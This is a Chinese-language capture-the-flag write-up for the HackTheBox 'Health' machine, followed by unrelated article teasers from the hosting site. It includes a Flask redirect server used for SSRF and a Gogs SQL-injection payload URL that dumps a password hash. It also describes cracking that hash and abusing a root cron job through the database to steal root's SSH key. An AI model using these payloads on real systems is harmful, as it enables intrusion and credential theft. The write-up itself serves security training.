HackTheBox - Medium - Linux - Health

news2024/9/24 18:04:31

Health

Health 是一台中型 Linux 计算机,在主网页上存在 SSRF 漏洞,可利用该漏洞访问仅在 localhost 上可用的服务。更具体地说,Gogs 实例只能通过 localhost 访问,并且此特定版本容易受到 SQL 注入攻击。由于攻击者可以与 Gogs 实例交互的方式,在这种情况下,最好的方法是通过在本地计算机上安装相同的 Gogs 版本,然后使用自动化工具生成有效的有效负载来复制远程环境。在检索用户“susanne”的哈希密码后,攻击者能够破解哈希并泄露该用户的纯文本密码。可以使用相同的凭据通过 SSH 向远程计算机进行身份验证。权限提升依赖于在用户“root”下运行的 cron 作业。这些 cron 作业与主 Web 应用程序的功能相关,并处理数据库中未经筛选的数据。因此,攻击者能够在数据库中注入恶意任务并泄露用户“root”的 SSH 密钥文件,从而允许他在远程计算机上获得 root 会话。


外部信息收集

端口扫描

循例nmap

file

Web枚举

file

看起来就觉得可能存在SSRF,扫一下vhost

file

还有过滤

file

test

file

监听url会有一个get请求,当我断开nc之后,payload url又来了一个post

file

本地起个http server,当监听url访问过来的时候重定向到localhost

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/')
def index():
    return redirect('http://127.0.0.1')

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8001)

这里一定要是always,否则payload url可能收不到post请求

file

可以看到响应,说明重定向成功了

file

接下来就可以爆破端口,找到内网的服务,为了方便直接wp跳过这些无聊的环节

3000端口有一个gogs

file

Foothold

谷歌能找到该版本似乎存在sql injection

file

poc:

http://127.0.0.1:3000/api/v1/users/search?q=')%09union%09all%09select%091,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27%09--%09-

file

查数据

file

得到susanne的密码hash

file

在谷歌中能搜到gogs使用PBKDF2 + hmac + sha256

https://github.com/kxcode/KrackerGo/tree/master

这里也描述了如何利用它

将16进制转回去如何base64

file

将salt base64

file

hashcat

file

不出意外我们能够通过这种凭据登录ssh

file

本地权限提升

传个pspy

2024/01/17 15:29:01 CMD: UID=0     PID=4350   | /bin/bash -c cd /var/www/html && php artisan schedule:run >> /dev/null 2>&1 
2024/01/17 15:29:01 CMD: UID=0     PID=4351   | sleep 5 
2024/01/17 15:29:01 CMD: UID=???   PID=4354   | ???
2024/01/17 15:29:01 CMD: UID=0     PID=4352   | 
2024/01/17 15:29:01 CMD: UID=0     PID=4357   | grep columns 
2024/01/17 15:29:01 CMD: UID=???   PID=4356   | ???
2024/01/17 15:29:01 CMD: UID=0     PID=4355   | sh -c stty -a | grep columns 
2024/01/17 15:29:06 CMD: UID=0     PID=4358   | mysql laravel --execute TRUNCATE tasks 

从artisan跟到app/Console/Kernel.php

protected function schedule(Schedule $schedule)
    {

        /* Get all tasks from the database */
        $tasks = Task::all();

        foreach ($tasks as $task) {

            $frequency = $task->frequency;

            $schedule->call(function () use ($task) {
                /*  Run your task here */
                HealthChecker::check($task->webhookUrl, $task->monitoredUrl, $task->onlyError);
                Log::info($task->id . ' ' . \Carbon\Carbon::now());
            })->cron($frequency);

同时,在网站根目录下的.env文件中也包含了mysql的凭据

file

进到mysql后有个tasks空表,desc

file

应该就是之前的web,直接读root ssh key然后返回到我们的payload url

file

nc

file

sed将\n转义和去除多余的\

file

登root的ssh

file

file

其实也可以直接在tasks里读root flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1397343.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

关于Windows 10的操作中心 ,看这篇文章就可以了

这篇文章介绍了Windows 10操作中心,也称为通知中心,以及如何使用它。操作中心会在需要你注意的事情时发送警报。 如何在操作中心中访问和解决通知 Windows操作中心显示为Windows任务栏右下角的发言气泡。图标下的数字表示你有未解析的通知。 通知会在…

企业微信无法正常启动 报错0xc0000142

报错内容如下,每次打开工作电脑时候企业微信一般会正常启动,但是有时候经常会出现下面这种错误,重启也解决不了,每次都得重装企业微信,今天整理了一下网上的方法,这个原因大概率是亿赛通。 解决办法&#x…

递归、搜索与回溯算法(专题六:记忆化搜索)

目录 1. 什么是记忆化搜索(例子:斐波那契数) 1.1 解法一:递归 1.2 解法二:记忆化搜索 1.2.1 记忆化搜索比递归多了什么? 1.2.2 提出一个问题:什么时候要使用记忆化搜索呢? 1.3 …

运维平台介绍:视频智能运维平台的视频质量诊断分析和告警中心

目 录 一、视频智能运维平台介绍 (一)平台概述 (二)结构图 (三)功能介绍 1、运维监控 2、视频诊断 3、巡检管理 4、告警管理 5、资产管理 6、工单管理 7、运维…

如何在Linux上部署1Panel面板并远程访问内网Web端管理界面

在Linux环境中部署1Panel面板,并实现安全的远程访问是一种高效管理服务器资源的方式。下面是如何实现这一目标的详细步骤。 1Panel面板的优势 易用性:1Panel提供了图形化的界面,使得非专业人士也能轻松管理服务器。 功能丰富:它…

3D Gaussian Splatting:论文原理分析

标题:3D Gaussian Splatting for Real-Time Radiance Field Rendering 作者:Bernhard Kerbl、Georgios Kopanas、Thomas Leimkhler和George Drettakis,来自法国Inria、Universit Cte dAzur和德国Max-Planck-Institut fr Informatik。 发表时…

mysql 为大表新增字段或索引

1 问题 mysql 为大表增加或增加索引等操作时,直接操作原表可能会因为执行超时而导致失败。解决办法如下。 2 解决办法 (1)建新表-复制表A 的数据结构,不复制数据 create table B like A; (2)加字段或索…

聚类算法(KMeans)模型评估方法(SSE、SC)及案例

一、概述 将相似的样本自动归到一个类别中,不同的相似度计算方法,会得到不同的聚类结果,常用欧式距离法;聚类算法的目的是在没有先验知识的情况下,自动发现数据集中的内在结构和模式。是无监督学习算法 二、分类 根据…

vue3开发移动端H5页面中video无交互自动播放完美解决方案

链接 官网:https://jsmpeg.com/ github:https://github.com/phoboslab/jsmpeg 官方例子:https://jsmpeg.com/perf.html 在线video转ts文件:https://convertio.co/zh/mp4-ts/ 踩坑 一、不用使用任何npm、yarn等安装 npm i jsmpe…

C#用Math.Round和double.TryParse方法实现四舍五入

目录 一、涉及到的知识点 1.double.TryParse()方法 2.Math.Round(Decimal, Int32) 方法 3.comboBox1没有选项 二、示例 1.源码 2.生成 一、涉及到的知识点 1.double.TryParse()方法 详见本文作者写的其他文章&#xff0…

消息中间件之Kafka(一)

1.简介 高性能的消息中间件,在大数据的业务场景下性能比较好,kafka本身不维护消息位点,而是交由Consumer来维护,消息可以重复消费,并且内部使用了零拷贝技术,性能比较好 Broker持久化消息时采用了MMAP的技…

像操作本地文件一样操作linux文件 centos7环境下samba共享服务搭建详细教程

1.安装dnf yum -y install dnf 2.安装samba dnf install samba -y 3.配置 3.1创建并设置用户信息 #创建用户 useradd -M -s /sbin/nologin samba echo 123|passwd --stdin samba mkdir /home/samba chown -R samba:samba /home/samba smbpasswd -a samba smaba设置密码示…

nodejs下载安装

一、node下载安装 官网下载 官网 根据自己电脑系统选择合适的版本进行下载,我这里选择window 64 位 下载完点击安装 打开cmd查看安装 此处说明下:新版的Node.js已自带npm,安装Node.js时会一起安装,npm的作用就是对Node.js…

实现仿ChatGPT光标跟随效果

先看效果 实现效果 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8" /><meta name"viewport" content"widthdevice-width, initial-scale1.0" /><title>光标闪烁效果</title>…

使用 MinIO 和 PostgreSQL 简化数据事件

本教程将教您如何使用 Docker 和 Docker Compose 在 MinIO 和 PostgreSQL 之间设置和管理数据事件&#xff0c;也称为存储桶或对象事件。 您可能已经在利用 MinIO 事件与外部服务进行通信&#xff0c;现在您将通过使用 PostgreSQL 自动化和简化数据事件管理来增强数据处理能力…

机器人导纳控制实现框架

Safe, Stable and Intuitive Control for Physical Human-Robot Interaction - 知乎关于文章《Safe, Stable and Intuitive Control for Physical Human-Robot Interactio》的简记。 Safe, Stable and Intuitive Control for Physical Human-Robot Interaction目的根据力导数作…

设计一个网页爬虫

定义 User Case 和 约束 注意&#xff1a;没有一个面试官会阐述清楚问题&#xff0c;我们需要定义Use case和约束 Use cases 我们的作用域只是处理以下Use Case&#xff1a; Service 爬取一批 url 生成包含搜索词的单词到页面的反向索引给页面生成标题和片段– 标题和片段是…

ptrade 通过mysql的链接开发一个量化管理平台。

这里只写一下界面及想法。不进行代码的实现。因为对流程不是很熟 ###界面 数据库的链接&#xff1a; ptrade USER 可转债量化分析 PASSWORD 123456 MYSQL_HOST mysql.sqlpub.com MYSQL_PORT 3306 MYSQL_DB ptradedef get_mysql_conn():import pymysqltry:conn pym…

maven编译时依赖报错 Caused by: java.util.zip.ZipException: zip file is empty 错误。

出现这种报错时&#xff0c;可能是maven仓库下对应的依赖出现了问题&#xff0c;需要讲报错依赖位置的依赖进行删除&#xff0c;在编译的时候就会重新下载&#xff0c;就不会出现错误了。 rm -rf /Applications/software/env/repository/org/apache/orc/orc-core/1.9.1/

Yield Guild Games 宣布与区块链游戏中心 Iskra 建立战略合作伙伴关系

Yield Guild Games (YGG) 宣布将向 Iskra 引入其任务系统&#xff0c;Iskra 是一个 Web3 游戏中心和发布平台&#xff0c;拥有超过 400 万注册钱包和 10 万月度活跃用户 (MAU)。在 LINE、Kakao、Wemade 和 Netmarble 等公司的支持下&#xff0c;Iskra 将游戏玩家和游戏工作室聚…